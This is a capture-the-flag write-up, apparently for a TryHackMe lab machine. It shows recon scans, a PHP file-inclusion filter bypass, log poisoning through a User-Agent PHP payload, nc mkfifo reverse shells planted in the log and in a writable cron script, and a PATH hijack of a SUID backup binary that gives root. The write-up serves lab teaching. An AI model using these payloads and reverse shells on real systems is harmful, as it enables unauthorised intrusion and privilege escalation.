Nmap

First we scan for open ports

# nmap -p- -T4 -sV -sC 10.10.105.117 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 00:23 BST
Nmap scan report for 10.10.105.117
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_  256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds

Website

Visiting the website it appears to be a basic example site, however we do notice a domain name for the contact address.

We add an entry into /etc/hosts for the site and then visit it again. This reveals out first flag.

Running a feroxbuster scan against the site it finds a php page.

# feroxbuster --url http://mafialive.thm     
                                                                                                                                                                                                  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://mafialive.thm
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
200      GET       15l       21w      286c http://mafialive.thm/test.php
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        3l        3w       59c http://mafialive.thm/
[####################] - 16s    30001/30001   0s      found:2       errors:0      
[####################] - 16s    30000/30000   1908/s  http://mafialive.thm/ 

Visiting the page shows us a very simple page with a button.

When the button is pressed the message “Control is an illusion” is displayed beneath it and the URL changes to http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php. We try reading a few files directly, but recieve a message indicating “Sorry, That’s not allowed”.

This indicates there are some restrictions in place. In order to understand these restrictions we need to look at the source code for the test.php page. By using php://filter/convert.base64-encode/resource= as part of the request, we can ask for the test.php page and it will respond with the contents of the file encoded in base64.

After we decode the base64 we can see another flag and how the filtering works.

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{**************}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>

From this code we can see that call whatever file we like as long as ../.. is not in the path and /var/www/html/development_testing is. We can bypass the restrictions as linux will happily understand ..//.. for going up a directory. Pairing this with a log poisoning attack we can get remote code execution. First we will call the apache log file by visiting http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log

Based on the fields shown in the access log, we can use the agent field to inject some PHP that will get executed when the page is loaded. With our listener startered, simply set the user agent to <?php exec(β€˜rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6666 >/tmp/f’) ?> and reload the page. With get a shell back and the first user flag.

# nc -lvnp 6666  
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.105.117] 35786
/bin/sh: 0: can't access tty; job control turned off
$ ls /home
archangel
$ cat /home/archangel/user.txt
thm{l******************y}

User privilege escalation

Checking cron we can see a script is run every minute as a user on the system. Checking the permissions on the script shows that any user can modify it.

$ cat /etc/crontab      
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *   * * *   archangel /opt/helloworld.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
$ ls -lah /opt/
total 16K
drwxrwxrwx  3 root      root      4.0K Nov 20  2020 .
drwxr-xr-x 22 root      root      4.0K Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4.0K Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh

We echo a reverse shell into the script and start our listener.

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6667 >/tmp/f" >> /opt/helloworld.sh
$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6667 >/tmp/f

This has escalated our privileges to the “archangel” account and we get another flag.

# nc -lvnp 6667
listening on [any] 6667 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.105.117] 56010
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
$ pwd
/home/archangel
$ ls -lah
total 44K
drwxr-xr-x 6 archangel archangel 4.0K Nov 20  2020 .
drwxr-xr-x 3 root      root      4.0K Nov 18  2020 ..
-rw-r--r-- 1 archangel archangel  220 Nov 18  2020 .bash_logout
-rw-r--r-- 1 archangel archangel 3.7K Nov 18  2020 .bashrc
drwx------ 2 archangel archangel 4.0K Nov 18  2020 .cache
drwxrwxr-x 3 archangel archangel 4.0K Nov 18  2020 .local
drwxr-xr-x 2 archangel archangel 4.0K Nov 18  2020 myfiles
-rw-r--r-- 1 archangel archangel  807 Nov 18  2020 .profile
drwxrwx--- 2 archangel archangel 4.0K Nov 19  2020 secret
-rw-rw-r-- 1 archangel archangel   66 Nov 18  2020 .selected_editor
-rw-r--r-- 1 archangel archangel   26 Nov 19  2020 user.txt
$ cd secret
$ ls
backup
user2.txt
$ cat user2.txt
thm{h*****************************************n}

Privilege escalation

Looking at the other file in the directory, backup, we see that it is a executable file and also has the SUID bit set.

$ ls -lah
total 32K
drwxrwx--- 2 archangel archangel 4.0K Nov 19  2020 .
drwxr-xr-x 6 archangel archangel 4.0K Nov 20  2020 ..
-rwsr-xr-x 1 root      root       17K Nov 18  2020 backup
-rw-r--r-- 1 root      root        49 Nov 19  2020 user2.txt
$ file backup   
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped

When we execute the file there is a message indicating a copy failed.

$ ./backup
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory

This error makes it seem like the backup binary is simply called the cp command. We can exploit this by creating our own cp executable and then ensuring it gets called. First we create it based on the bash binary instead

$ echo '/bin/bash -p' > cp
$ chmod 777 cp

Then we setup our path so that binary can be called by the backup binary as root.

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
$ pwd  
/home/archangel/secret
$ export PATH=/home/archangel/secret:$PATH

And then its just a case of running the binary. It executes as root due to the SUID bit and then calls the our version of cp, which is privileged bash which drops us into a root cell. From here we can just grab the root flag as we are done.

$ ./backup
id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
cd /root
ls
root.txt
cat root.txt
thm{p**************************************************n}